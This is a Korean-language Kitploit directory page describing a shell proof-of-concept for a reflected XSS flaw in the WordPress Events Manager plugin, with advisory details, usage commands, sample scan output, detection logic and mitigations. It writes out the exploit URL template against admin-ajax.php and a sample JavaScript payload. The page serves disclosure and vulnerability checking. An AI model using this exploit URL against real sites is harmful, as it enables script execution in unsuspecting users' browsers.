Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-17089-PoC-pwnVader — CVE-2026-17089에 대한 Shell PoC로, WordPress Events Manager 플러그인(<= 7.4.0.1)의 인증되지 않은 반사형 XSS 취약점입니다. 플러그인을 핑거프린팅하고 header_format 반사를 테스트합니다. | Kitploit
도구/GitHubGitHub/pwnvader/cve-2026-17089-poc-pwnvader
Vulnerability ScannersWeb Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubpwnvader/cve-2026-17089-poc-pwnvader

CVE-2026-17089-PoC-pwnVader

CVE-2026-17089에 대한 Shell PoC로, WordPress Events Manager 플러그인(<= 7.4.0.1)의 인증되지 않은 반사형 XSS 취약점입니다. 플러그인을 핑거프린팅하고 header_format 반사를 테스트합니다.

저장소 보기
610일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-17089 — Events Manager <= 7.4.0.1 — 인증되지 않은 반사형 XSS (header_format)

작성자: pwnVader · 라이선스: MIT (저장소 루트)

구성 요소Events Manager – Calendar, Bookings, Tickets, and more! (WordPress 플러그인)
유형CWE-79 — 반사형 크로스 사이트 스크립팅
영향 받는 버전<= 7.4.0.1
수정 버전이후 7.4.x 릴리스 (EM_Events::output_grouped()에 wp_kses_post() 적용)
CVECVE-2026-17089 — CVSS 3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
PoCpoc.sh

요약

숏코드 진입점은 wp_kses()로 header_format을 정제하지만, 인증되지 않은 AJAX 액션 search_events_grouped는 해당 정제를 우회하여 값을 HTML 응답에 그대로 출력합니다 (EM_Events::output_grouped()). 원격의 인증되지 않은 공격자는 해당 URL을 여는 모든 사용자의 영향 받는 사이트 오리진에서 임의의 JavaScript를 실행하는 URL을 만들 수 있습니다 (UI:R).

사용법

# Interactive menu
./poc.sh

# Read-only: fingerprint the plugin and test the unescaped reflection
./poc.sh check --target https://example.com

# Print the exploit URL (open it in a browser; the script runs in the target origin)
./poc.sh url --target https://example.com --payload "alert(document.domain)"

예시 출력 (check)

== CVE-2026-17089 PoC (check) ==
target: https://example.com

[1] Plugin fingerprint (read-only)
  [PASS] Events Manager assets are served (plugin installed)
  [info] Stable tag: 7.1.7
  [PASS] version 7.1.7 is in the affected range (<= 7.4.0.1)

[2] Unauthenticated reflection test (read-only, benign marker)
  [PASS] endpoint reflected header_format UNESCAPED (the raw  is in the response)

== RESULT: 3 PASS / 0 FAIL ==
VULNERABLE to CVE-2026-17089 (unauthenticated reflected XSS).

익스플로잇 URL

https://example.com/wp-admin/admin-ajax.php?action=search_events_grouped&scope=all&limit=5&header_format=<urlencoded payload>

탐지 로직

  1. 핑거프린트: readme.txt (Stable tag) 및/또는 플러그인 자산 경로 /wp-content/plugins/events-manager/includes/js/events-manager.js.
  2. 무해한 마커(``)를 admin-ajax.php?action=search_events_grouped에 header_format을 마커로 설정하여 전송하고, 원시 마크업이 응답 본문에 이스케이프되지 않고 반사되는지 확인합니다.

완화 방안

  • Events Manager를 최신 릴리스로 업데이트하세요 (수정 사항은 렌더링 함수 내부의 header_format에 wp_kses_post()를 적용하여 모든 호출자를 커버합니다).
  • 임시 조치: 인증되지 않은 search_events_grouped AJAX 액션을 차단하거나 WAF/애플리케이션 수준에서 header_format을 필터링하세요.

참고 자료

  • NVD — CVE-2026-17089: https://nvd.nist.gov/vuln/detail/CVE-2026-17089
  • GitHub Advisory: https://github.com/advisories/GHSA-gg76-jx66-hjq8

면책 조항

승인된 보안 테스트 전용입니다. PoC는 읽기 전용(check)이거나 URL을 출력(url)합니다. 데이터는 수정되지 않습니다.

도구 다운로드